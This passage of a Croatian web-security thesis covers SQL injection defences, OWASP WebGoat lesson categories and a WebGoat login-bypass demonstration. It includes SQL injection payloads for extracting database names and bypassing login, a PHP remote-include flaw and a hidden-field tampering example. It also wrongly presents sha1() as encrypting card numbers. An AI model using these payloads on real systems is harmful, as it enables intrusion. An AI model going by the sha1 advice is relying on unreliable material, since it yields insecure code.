concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a) and '1'='1
Na ovaj će način modificirati SQL upit koji web stranica postavlja prema bazi
podataka u sljedeći oblik koji omogućuje napadaču da sazna heksadecimalnu
vrijednost naziva aktivne baze podataka, koju na vrlo lagan način može konvertirati u
ASCII vrijednost i tako saznati naziv aktivne baze podataka:
SELECT * FROM proizvod WHERE id_proizvoda='2' and(select 1
from(select count(*),concat((select (select
concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a) and '1'='1'
104
Kod sljedećeg primjera je prikazano kako napadač može dobiti naziv aktivnog
korisnika baze podataka (administatora), za SQL Server bazu podataka, a web
stranica koja ima SQLi propust je napravljena u Java tehnologiji:
www.cipele-hlapic.hr/katalog.jsp?id=2 AND USER_NAME()='dbo'
Funkcija USER_NAME() je funkcija svojstvena SQL Server bazi podataka koja vraća
naziv administratora baze podataka.
Na sličan se način mogu dodavati novi zapisi u bazu podataka, modificirati postojeći,
odnosno, moguće je prouzročiti znatne štete podacima koje napadnuta baza podataka
sadrži, pogotovo ako se radi o bazi podataka neke institucije koja sadrži povjerljive
informacije čije kompromitiranje od strane treće osobe bi izazvalo sigurnosni incicent
popraćen smanjenjem kredibiliteta klijenta tvrtke koja je doživjela ovaj tip
sigurnosnog napada.
6.1.7.2. Način zaštite od SQLi napada
Postoji nekoliko načina na koje programeri mogu zaštititi web aplikacije od ove vrste
napada:
•
Određivanje tipa, duljine, formata i raspona vrijednosti ulaznih podataka
koje utječu na pokretanje SQL upita. Na taj način se sprječava unošenje krivih
podataka kao uvjete SQL upita
•
Korištenje pohranjenih procedura (engl. stored procedures) za
preuzimanje podataka i manipuliranje podacima iz baze podataka, čime se
funkcionalnost manipuliranja podacima postavlja na server na kojem se nalazi
baza podataka, a ne na web server koji prikazuje web stranicu.
•
Postavljanje ograničenja korisnika nad bazom podataka, odnosno
postavljanje korisnika koji imaju ograničen pristup bazi podataka. U idealnom
slučaju, bilo bi poželjno da se dopusti izvršavanje spremljenih procedura te
zabranjivanje izravnog pristupa bazi podataka.
•
Izbjegavanje prikaza detaljnog opisa greške nad SQL upitom, odnosno
postavljanje neke web stranice koja će služiti samo za prikaz da je došlo do
greške.
105
6.2. WebGoat
WebGoat je namjerno ranjiva J2EE aplikacija, čija osnovna svrha je učenje sigurnosti
web aplikacija kroz lekcije koje ova aplikacija nudi. Kod svake lekcije, polaznik mora
pokazati razumijevanje sigurnosnog propusta koji rješava kroz testiranje stvarnog
propusta u WebGoat aplikaciji.
Na primjer, jedna lekcija traži od polaznika da korištenjem SQLi ukrade brojeve
kreditnih kartica. Ova aplikacija pruža realistično okruženje za učenje o sigurnosti
web aplikacija, pružajući polaznicima objašnjenja kako proći pojedine lekcije.68
Osnovna namjena ove aplikacije je pružanje interaktivne okolinu za učenje o
sigurnosti web aplikacija na konkretnim primjerima.
68
Izvor: http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project – učitano 8.1.2011.
106
6.2.1. Propusti kontrole pristupa (engl. Access Control Flaws)
Propusti kontrole pristupa (engl. Access Control Flaws) se odnose na na načine na
koji se ostavljaju propusti preko kojih neautorizirani korisnici mogu „ući“ u sustav i
mijenjati podatke zbog nedovoljno pažnje posvećene ovom tipu sigurnosnog propusta
prilikom izrade web aplikacije.
Neki od načina na koji se može probiti u sustav uključuje zaobilaženje kontrolne
sheme koja se temelji na dopuštenjima za pregled određenog direktorija. Naime, ovaj
sigurnosni propust pruža mogućnost napadaču da pregledava podatke iz datoteke
koja se nalazi izvan direktorija kojem može pristupati korištenjem svojeg dodijeljenog
dopuštenja.
Sljedeći način koji može sadržavati sigurnosni propust je sustav pristupa temeljen na
korisničkim privilegijama (engl. role based access control). Ovdje postoji nekoliko
načina na koje je moguće da neautorizirani korisnici mijenjaju podatke.
Zaobilaženje prezentacijskog sloja kontrole pristupa kod kojeg se iskorištava ranjivost
loše definiranog načina mijenjanja podataka o korisnicima, npr. moguće je izbrisati
aktivnog korisnika zbog loše postavljenog ograničenja u funkciji koja poziva
proceduru za brisanje korisnika.
Na sličan način se odvija zaobilaženje sloja kontrole pristupa temeljen na podacima,
odnosno kod ovog oblika se iskorištava identifikacijski broj korisnika kako bi se iz
aktivno prijavljenog korisnika, uz pomoć identifikacijskog broja korisnika koji se želi
izbrisati, izbrisao željeni korisnik.
Pristup administracijskom dijelu aplikacije isto tako može biti jedan od izvora
sigurnosnog propusta.
107
6.2.2. Sigurnost AJAX-a (engl. AJAX Security)
AJAX je skup metoda koje omogućuju da web aplikacije preuzimaju podatke sa
servera na asinkroni način, bez da se mijenja prikaz postojeće web stranice.
AJAX sadržava mnogo potencijalnih sigurnosnih propusta poput propusta preko
kojeg se uz pomoć modifikacije DOM-a(engl. Document Object Model) na web
pregledniku napadač može izvršiti promijenjeni kôd koji se nalazi na klijentskoj
strani.
Mogućnost filtriranja podataka na klijentskoj strani, ukoliko su neki podaci sakriveni
od prikaza na web pregledniku, ali su prikazani u HTML kôdu web stranice, čime je
sigurnost podataka ugrožena.
Zaštita pokretanja web stranica koje se ne nalaze na web serveru na kojem se nalazi
web aplikacija je još jedan oblik zaštite sigurnosti.
Napad „XML injection“ je oblik napada koji se temelji na tome da manipulira ili
kompromitira logiku XML aplikacije ili servisa.
6.2.3. Autentifikacijski nedostaci (engl. Authentiation Flaws)
Nedostaci u autentifikacijskom modulu koji omogućuje korisnicima da ponovno
kreiraju novu lozinku ukoliko su staru zaboravili, mogu znatno smanjiti sigurnost
same web aplikacije.
Kako bi se povećala sigurnost priliko autentifikacije i spriječili propusti prilikom
postupka kreiranja nove lozinke za korisnika koji je zaboravio svoju lozinku, potrebno
je izbjegavati jednostavne načine provjere podataka preko skrivenih polja u HTML
kôdu, parametara u samom URL-u web stranice ili kolačića.
Preporučljivo je korištenje sesijske varijable koja ima ograničeno vrijeme isteka. Isto
tako, prilikom implementacije sustava za povrat lozinke potrebno je provjeravati je li
prethodni korak u ovom procesu uspješno proveden.
108
6.2.4. Prekoračenje kapaciteta međuspremnika (engl. Buffer Overflow)
Prekoračenje kapaciteta međuspremnika se odnosi na programsku pogrešku, odnosno
stanje kada proces pokušava spremiti podatke izvan granica međuspremnika određene
duljine.
Posljedica toga je da oni podaci koji su „višak“, prepišu susjedne memorijske lokacije
gdje se mogu nalaziti drugi međuspremnici i varijable.
6.2.5. Kvaliteta programskog kôda (engl. Code Quality)
Budući da programeri prilikom izrade web projekata ponekad znaju biti nemarni,
ostavljajući bilješke kako nešto napraviti i sl, napadač može iskoristiti tu nemarnost te
ugroziti sigurnost rada web stranice.
Zbog toga je preporučljivo slijediti načela ispravnog programiranja i ne dozvoliti da
sitne greške poput zaostalih komentara programera utječu na samu sigurnost
funkcioniranja čitave web aplikacije.
6.2.6. Konkurentnost (engl. Concurrency)
Greška konkurentnosti procesa se događa u slučajevima kada dva ili više korisnika
pokušavaju pristupiti istoj informaciji u isto vrijeme. Ovaj sigurnosni manjak može
uzrokovati smanjeni integritet baze podataka, a u najgorem slučaju, može doći i do
gubitka podataka. Prilikom izrade web aplikacija potrebno postaviti veći naglasak na
ovaj aspekt računalne sigurnosti.
6.2.7. Cross-Site Scripting (XSS)
Cross-site scripting (XSS) je oblik ranjivosti web aplikacije kod koju napadač koristi
kako bi postavio skriptu sa klijentske strane, čiji će učinak biti vidljiv svim
posjetiteljima web stranice.
Više o ovom tipu napada možete pronaći kod opisivanja metoda programa DVWA,
ranije objašnjeno u ovom projektu, pod naslovom XSS.
109
6.2.8. Denial Of Service (DDOS)
Kod ovog tipa napada, napadač sprječava pristup web serveru kroz preopterećivanje
računalne mreže slanjem mnogostrukih zahtjeva (engl. requests) prema web serveru.
Na taj način sprječava se da legitimni korisnici pristupaju podacima na web
stranicama ili ostalim servisima web servera koji je napradnut.
Najtipičniji DDOS napad je napad kod kojeg napadač „zatrpava“ mrežu sa
nepotrebnim informacijama. Ukoliko neki korisnik želi pristupiti web stranici koja je
izložena DDOS napadu, budući da je napadač preopteretio web server koji isporučuje
web stranicu, ta web stranica se neće prikazati korisniku.
Napadač može na sličan način slati spam poruke na nečiji email. Budući da kod
svakog email servisa postoji ograničenje prostora (engl. quota) u koji se mogu
spremiti email poruke, napadačeve poruke mogu „popuniti“ ovaj prostor i time
spriječiti dobivanje legitimnih email poruka.
Distribuirani DDOS napad se sastoji u tome što napadač može instalirati svoj
maliciozni program na tuđe računalo i s njegovog računala pokretati DDOS napade
bez dopuštenja korisnika tog računala.
Glavne mete DDOS napada su profitni web poslužitelji, banke, tvrtke koje obrađuju
podatke sa kreditnih kartica te DNS poslužitelji.
Način zaštite od ovakvog tipa napada uključuje instaliranje antivirusnog softvera i
provođenje skeniranja sustava u određenim vremenskim intervalima, pravilno
instaliranje i konfiguriranje vatrozida, podešavanje spam filtera i sl.
6.2.9. Nepravilno postupanje sa greškama (engl. Improper Error Handling)
Nepravilno postupanje sa greškama je problem kod kojeg je detaljan prikaz greške
koja se dogodila vidljiv krajnjem korisniku. Detaljan tekst greške može uključivati
povjerljive informacije o bazi podataka, o tablici u kojoj se dogodila greška i sl. Ovim
porukama je krajnjem korisniku vidljivo puno više nego što bi to trebalo biti. Na taj
način, potencijalni napadač može osmisliti strategiju iskorištavanja ranjivosti i
kompromitirati rad web stranice.
110
Web aplikacije tijekom svojeg rada generiraju mnoge greške poput „null pointer
exception“, „system call failure“, poruke da je baza podataka nedostupna i sl. Prikaz
informacije o grešci koja se dogodila mora se oblikovati na način da se prikaže
odgovarajuća poruka krajnjem korisniku, informacija o problemu administratoru web
stranice, ali se isto tako mora paziti da se ne prikaže nikakva informacija koja bi
mogla poslužiti napadaču u iskorištavanju ranjivosti web stranice.
Ukoliko se ne ukloni ovakav oblik sigurnosnog propusta, napadači osim što mogu
saznati određene informacije iz teksta greške, mogu i kreirati DDOS napad ili buffer
overflow napad čime mogu dodatno ugroziti sigurnost rada web aplikacije.
Kako bi se spriječio prikaz neželjenih informacija o grešci koja se dogodila krajnjem
korisniku, a potencijalnom napadaču, potrebno je kreirati određene web stranice koje
će služiti samo za prikaz teksta određenog tipa greške.
Sljedeći primjer prikazuje tekst koji se nebi smio prikazati ukoliko je postavljena
adekvatan sustav za prikaz poruke o greškama:
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near 'zo LIMIT 1' at line 1
6.2.10. SQLI
SQL injection je metoda koji omogućuje napadaču web stranice koja ima ovaj
sigurnosni propust, pristup bazi podataka iz koje napadnuta web stranica „uzima“
podatke.
Više o ovoj metodi možete pronaći u tekstu o SQLi, prilikom objašnjavanja metoda
programa DVWA, pod naslovom SQL Injection.
6.2.11. Nesigurna komunikacija (engl. Insecure Communication)
Povjerljive informacije se ne smiju slati preko mreže u izvornom obliku. Web
aplikacije često tek nakon autorizacije pokreću prikaz web stranica preko sigurne veze
111
(SSL veze). Na taj način, napadaču ostavljaju mogućnost da napadač prikupi
osjetljive informacije prije nego što je postavljena sigurna veza.
Kako bi se spriječilo prikupljanje osjetljivih informacija potrebno je enkriptirati
osjetljive podatke popust brojeva kreditnih kartica, koji se prenose mrežom.
Kod sljedećeg primjer je prikazano kako je lako enkriptirati povjerljive podatke
korištenjem samo jedne funkcije u PHP programskom jeziku:
echo sha1('broj moje kreditne kartice');
6.2.12. Nesigurna konfiguracija (engl. Insecure Configuration)
Budući da je vrlo česta pojava da programeri koji se bave razvojem web aplikacije
nisu povezani sa timom ljudi koji se bave održavanjem web stranica, potrebno je da
članovi oba tima zajednički surađuju kako bi sinkronizirali nadogradnje aplikacija i
tim spriječili moguće kompromitiranje aplikacije.
Postoji čitav niz konfiguracijskih propusta poput:
•
Neažurirani softver sustava
•
Propusti u softveru sustava koji omogućuju ispisivanje sadržaja direktorija
•
Nepotrebne backup i slične datoteke
•
Nepravilno postavljena dopuštenja na direktorije
•
Nepotrebno pokretanje servisa poput udaljene administracije operativnog
sustava i sl.
Neki od ovih propusta moguće je pronaći uz pomoć alata za sigurnosno skeniranje.
Instalacija sigurnog softvera i sigurne konfiguracije, osnovni su zahtjev za postizanje
sigurnosti web aplikacije.
6.2.13. Nesigurna pohrana podataka (engl. Insecure Storage)
Većina web aplikacija ima potrebu za spremanjem osjetljivih podataka u bazu
podataka ili u neku datoteku. Osjetljivi podaci mogu biti brojevi kreditnih kartica,
zapisi o klijentima ili slične povjerljive informacije. Kako bi se zaštitili ovi podaci,
koriste se različite metode enkripcije. Iako se metode enkripcije vrlo lako
112
implementira i koristi, mnogi web developeri prave greške prilikom njihove
implementacije u web aplikaciju.
Neke od grešaka koje programeri rade ne razmišljajući o mogućim posljedicama na
sigurnost uključuju nesigurnu pohranu osjetljivih ključeva, certifikata i lozinki,
nepravilno spremanje povjerljivih podataka u memoriju, loš odabir algoritama za
kriptiranje i sl.
Najjednostavniji način na koji se web aplikacija može zaštititi od napada na podatke
koji su zaštićeni nekom od kriptografskih metoda jest što manje koristiti kriptografiju
te korištenjem samo onih podataka koji su neosporno potrebni.
Ukoliko se kriptografske metode moraju koristiti, onda se preporuča korištenje
biblioteka koje su dostupne svim korisnicima te koje nemaju nikakve otvorene
ranjivosti.
6.2.14. Izvršavanje malicioznih programa (engl. Malicious Execution)
Ranjivost preko izvršavanja maliciozne datoteke česta je pojava kod mnogih web
aplikacija. Ovaj tip ranjivosti se sastoji u tome da zlonamjerni korisnik izvrši
programske naredbe pod privilegijama administratora operativnog sustava na kojem
se izvršava web stranica, a odvija se bez znanja autora web stranice koja je napadnuta.
Sljedeći primjer predstavlja funciju PHP programskoj jezika preko koje se može u
aplikaciju uključiti udaljena maliciozna skripta preko parametra „filename“.
include $_REQUEST['filename’];
6.2.15. Parametar Tampering
Web Parametar Tampering je napad na sigurnost web aplikacije na način da se
mijenjaju parametri koji se prenose između klijenta i servera, s ciljem modifikacije
podataka poput privilegija korisnika, identifikacijskog broja i količine nekog
proizvoda i sl. Ovi su podaci uobičajeno spremljeni u kolačićima, sakrivenim
113
elementima unutar HTML forme ili u URL tekstu te se koriste kako bi omogućavale
funkcionalnost i kontrolu aplikacije.
Ovaj oblik napada pokreće maliciozni korisnik koji želi u svoju korist iskoristiti
ranjivost web aplikacije prilikom čega koristi programe poput Webscarab ili Paros
proxy.
Korištenjem ovih alata, napadač može na ranjivoj web stranici zaobići ograničenje
korištenja pojedinih HTML elemenata na web stranici, čitati podatke koji se nalaze u
skrivenim HTML elementima (engl. hidden fileds), zaobići validaciju na klijentskoj
strani koja se temelji na javascript tehnologiji i sl.
Na primjer, ukoliko apliakcija koristi skrivena polja (engl. hidden fields) kako bi
spremala informacije o statusu, maliciozni korisnik uz pomoć gore navedenih
programa može promijeniti te informacije i promijenjene informacije poslati web
aplikaciji kao da su izvorne.
Izvorna informacija o cijeni:
<input type=”hidden” id=”1008” name=”cost” value=”70.00”>
Koji maliciozni korisnik može promijeniti tako da smanji vrijednost, npr:
<input type=”hidden” id=”1008” name=”cost” value=”20.00”>
6.2.16. Upravljanje sesijama (engl. Session Management Flaws)
Sesije su omogućile da se podaci koji se prenose preko HTTP protokola, koji je
protokol bez stanja (engl. stateless), podržava stanja. To znači ako je jednom korisnik
autentificiran od strane web aplikacije, sljedeći POST ili GET zahtjevi prema web
stranici ne bi smjeli pokretati postupak autentifikacije.
Podaci o sesiji su spremljeni na web serveru u obliku određenog identifikatora sesije,
a mogu se nalaziti u bazi podataka, u datotekama ili u memoriji web servera.
Mnoge web aplikacije omogućuju prijavu u njihovu web stranicu već ako je
specificiran autentifikacijski kolačić. Napadač može ukrasti kolačiće sa nekog
računala, do kolačića se može doći i preko XSS napada i na druge načine.
114
Programeri koji razvijaju svoje identifikatore sesija često zaboravljaju uključiti
složenost i nasumičnost kao elemente povećavanja sigurnosti. Ukoliko identifikator
sesije za pojedinog korisnika nije složen i generiran nasumično, aplikacija je ranjiva
za krađu sesija (engl. session hijacking).
Ukoliko svi podaci o autentifikaciji korisnika u sustav koji se premose mrežom nisu
zaštićeni SSL vezom i zaštićeni od ostalih vrsta napada poput XSS, napadač može
„ukrasti“ prijavljenom korisniku njegovu sesiju te na taj način kompromitirati njegov
identitet.
6.2.17. Web servisi (engl. Web Services)
Web servis je bilo koji servis koji je dostupan preko Interneta, koristi standardizirani
XML sustav prijenosa poruka i nije vezan uz određeni programski jezik ili operacijski
sustav.
Budući da su bazirani na otvorenim standardima kao što su HTTP i XML-bazirani
protokoli uključujući SOAP i WSDL, web servisi su neovisni o hardveru,
operativnom sustavu i programskom jeziku.
Budući da se zahtjevi prema web servisu šalju kako bi se pokrenula određena funkcija
koja je definirana unutar WSDL-a, jezika za opisivanje web servisa, tako napadač
može dodati parametre zahtjeva koji zapravno ne postoje i kompromitirati
funkcionalnost web servisa.
6.2.18. Zaključak o programima DVWA i WebGoat
Programi DVWA i WebGoat su odlični programi koji simuliraju određene vrste
sigurnosnih propusta i pružaju sigurnu okolinu da svaki pojedinac koji ih instalira na
svoje lokalno računalo, može proučavati načine kako da probije sigurnosne
mehanizme koje ove aplikacije pružaju.
115
Osim što pružaju stvarne zadatke iz sigurnosti web aplikacija, pružaju i niz linkova
preko kojih se korisnik može naučiti o tipu ranjivosti koji će rješavati.
Instalacija i podešavanje ovih apliakcija je vrlo jednostavno i može se provesti na više
operativnih sustava, odnosno ove aplikacije se mogu instalirati na Windows, Linux i
Mac operacijske sustave.
Ove dvije aplikacije preporučio bih svim računalnim profesionalcima, a pogotovo
sigurnosnim stručnjacima i web developerima kako bi više mogli naučiti o sigurnosti
web aplikacija o kojima se brinu ili koje razvijaju.
6.3 WebGoat SQLi demonstracija
U WebGoat programu ću demonstirati String SQLi napad. Potrebno je prijaviti se u
WebGoat aplikaciju i odabrati Injection Flaws -> LAB:SQL injection -> Stage 1:
String SQL injection.
Kod ovog primjera pokušat demonstrirat ću kako se može pristupiti
administracijskom dijelu aplikacije ukoliko je sustav za prijavljivanje ranjiv za SQLi.
Na sljedećoj slici prikazan je forma za prijavu korisnika kod koje je potrebno odabrati
korisnika pod nazivom „Neville“.
Slika 6.1. Prijava korisnika u lekciji kod koje se ispituje SQLi ranjvost
116
Za SQLi napad potrebno je instalirati dodatak „Temper Data“ za Firefox kojim se
modificira HEADER koji se šalje prema web aplikaciji. Ovaj dodatak možete pronaći
na sljedećoj lokaciji: http://tamperdata.mozdev.org/.
U Firefoxu pronađite opciju Alati -> Tamper Data i unutar dijaloškog okvira koji se
prikazao kliknite na gumb „Start Tamper“ čime se započinje „snimanje“ http prometa.
Slika 6.2. Tamper Data – pokretanje „snimanja“ prometa
Zatim je potrebno klinuti na gubm „Login“ kod kojeg je odabran korisnik „Neville“
bez upisivanja ikakvog teksta kao njegove lozinke. Pojavit će se dijaloški okvir kao
što je prikazano na slici dolje te je u polje password potrebno upisati x' OR '1'='1.
117
Slika 6.3. Postavljanje SQLi teksta
Slika 6.4. Prikaz administracije – uspješno svladavanje lekcije
Na ovaj način smo pristupili administraciji.
118
7. Literatura
1. http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2004-1093.pdf (učitano 25.10.2010.)
2. http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2007-07199.pdf (učitano 25.10.2010.)
3. http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2009-09276.pdf (učitano 25.10.2010.)
4. http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplo
mski.pdf (učitano 25.10.2010.)
5. http://www.cert.hr/filehandler.php?did=412 (učitano 25.10.2010.)
6. http://www.owasp.org/index.php/Top_10_2007-Methodology (učitano
25.10.2010.)
7. http://www.owasp.org/index.php/Main_Page (učitano 25.10.2010.)
8. http://www.owasp.org/index.php/OWASP_Testing_Project (učitano 25.10.2010.)
9. http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project (učitano
25.10.2010.)
10. http://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology (učitano
25.10.2010.)
11. http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20%202010.pdf (učitano 3.1.2011.)
12. http://owasptop10.googlecode.com/files/OWASP_Top_10__2010%20Presentation.pptx (učitano 3.1.2011.)
13. http://www.owasp.org/index.php/Top_10_2010 (učitano 3.1.2011.)
14. http://www.symantec.com/connect/articles/password-crackers-ensuring-securityyour-password (učitano 3.1.2011.)
15. http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution
(učitano 3.1.2011.)
16. http://www.breach.com/resources/whitepapers/downloads/WP_Detecting_Remot
e_File.pdf (učitano 3.1.2011.)
17. http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 (učitano
3.1.2011.)
18. http://www.acunetix.com/websitesecurity/xss.htm (učitano 3.1.2011.)
119
19. http://www.owasp.org/index.php/Unrestricted_File_Upload (učitano 4.1.2011.)
20. http://msdn.microsoft.com/en-us/library/ff648339.aspx (učitano 4.1.2011.)
21. http://www.us-cert.gov/cas/tips/ST04-015.html (učitano 4.1.2011.)
22. http://www.owasp.org/index.php/Improper_Error_Handling (učitano 4.1.2011.)
23. http://www.owasp.org/index.php/Insecure_Configuration_Management (učitano
4.1.2011.)
24. http://www.owasp.org/index.php/Insecure_Storage (učitano 5.1.2011.)
25. http://www.owasp.org/index.php/Web_Parameter_Tampering (učitano 5.1.2011.)
26. http://www.owasp.org/index.php/Broken_Authentication_and_Session_Managem
ent (učitano 5.1.2011.)
27. http://www.hackyeah.com/wp-content/uploads/2010/05/HackYeah-SQLInjection.pdf (učitano 7.1.2011.)
28. http://iaclub.ist.psu.edu/files/2010-09-09-dvwa-slides.pptx (učitano 8.1.2011.)
29. http://www.dvwa.co.uk/download/DVWA_BruCON.pdf (učitano 8.1.2011.)
30. http://os2.zemris.fer.hr/ns/malware/2007_zelanto/sql.html (učitano 7.1.2011.)
31. http://os2.zemris.fer.hr/ns/malware/2007_zelanto/xss.html (učitano 7.1.2011.)
32. http://www.owasp.org/index.php/Category:OWASP_Guide_Project#tab=Downlo
ads (učitano 5.1.2011.)
33. http://www.zimbio.com/SQL/articles/x8xK0bDC06/SQL+Injection+Walkthrough+DVWA (učitano 5.1.2011.)
34. http://securitymusings.com/article/1350/dvwa-damn-vulnerable-web-app
(učitano 5.1.2011.)
35. http://www.owasp.org/index.php/Category:OWASP_Project (učitano
04.01.2011.)
36. http://www.owasp.org/index.php/Category:OWASP_Project#tab=Release_Qualit
y_Projects (učitano 04.01.2011.)
37. http://www.owasp.org/index.php/Category:OWASP_Project#tab=Beta_Status_P
rojects (učitano 04.01.2011.)
38. http://www.owasp.org/index.php/Category:OWASP_Tools_Project (učitano
04.01.2011.)
39. http://www.owasp.org/index.php/OWASP_WebScarab_Project (učitano
05.01.2011.)
40. http://www.owasp.org/index.php/OWASP_WebScarab_NG_Project (učitano
05.01.2011.)
120
41. http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project (učitano
06.01.2011.)
42. http://www.owasp.org/index.php/Category:Attack (učitano 07.01.2011.)
121
8. Popis priloga
8.1. Popis slika
Slika 2.1. Postotak najčešćih ranjivosti Web aplikacija po klasama ............................. 5
Slika 2.2. Deset najčešće korištenih napada na web aplikacije ................................... 10
Slika 3.1. Shema CSRF napada ................................................................................... 23
Slika 3.2. Curenje informacija kod XSS napada ......................................................... 27
Slika 4.1. WebScarab .................................................................................................. 72
Slika 4.2. WebScarab NG ........................................................................................... 72
Slika 4.3. WebGoat - Lekcija o krađi sesije ................................................................ 74
Slika 5.1. Izgled DVWA sučelja ................................................................................. 78
Slika 5.2. XSS ............................................................................................................. 84
Slika 5.3. Sučelje s naredbenim retkom za ping IP adrese .......................................... 88
Slika 5.4. Passwd file, ali nema shadow file ............................................................... 89
Slika 5.5. Sučelje CSRF ranjivosti za low razinu zaštite ............................................ 92
Slika 5.6. Sučelje CSRF ranjivosti za high razinu zaštite ........................................... 92
Slika 6.1. Prijava korisnika u lekciji kod koje se ispituje SQLi ranjvost .................. 116
Slika 6.2. Tamper Data – pokretanje „snimanja“ prometa ........................................ 117
Slika 6.3. Postavljanje SQLi teksta ........................................................................... 118
Slika 6.4. Prikaz administracije – uspješno svladavanje lekcije ............................... 118
8.2. Popis tablica
Tablica 2.1. Prikaz web stranica za ranjivostima .......................................................... 5
Tablica 3.1. Usporedba popularnih preglednika u 2009. godini ................................. 12
Tablica 4.1: Izvor: OWASP Top 10 - 2010 Document ............................................... 34
Tablica 4.2. Jačina rizika ............................................................................................. 36
Tablica 4.3. Opis injekcije (engl. injection) ................................................................ 40
Tablica 4.4. Opis Cross-Site Scripting (XSS) ............................................................. 42
Tablica 4.5. Opis lošeg upravljanja autentikacijom i sesijama ................................... 44
Tablica 4.6. Opis nesigurne direktne reference na objekte ......................................... 46
122
Tablica 4.7. Opis CSRFmetode ................................................................................... 48
Tablica 4.8. Opis krive konfiguracije sustava sigurnosti ............................................ 50
Tablica 4.9. Opis nesigurne kriptografske pohrane..................................................... 53
Tablica 4.10. Opis neuspjelog ograničavanja URL pristupa....................................... 55
Tablica 4.11. Opis nedovoljne zaštite na razini transportnog sloja ............................. 57
Tablica 4.12. Opis neprovjerenog preusmjeravanja i prosljeđivanja .......................... 59
Tablica 4.13. Popis projekata distribucijske kvalitete (engl. Release Quality Projects)
..................................................................................................................................... 62
Tablica 4.14. Popis projekata beta statusa................................................................... 65
123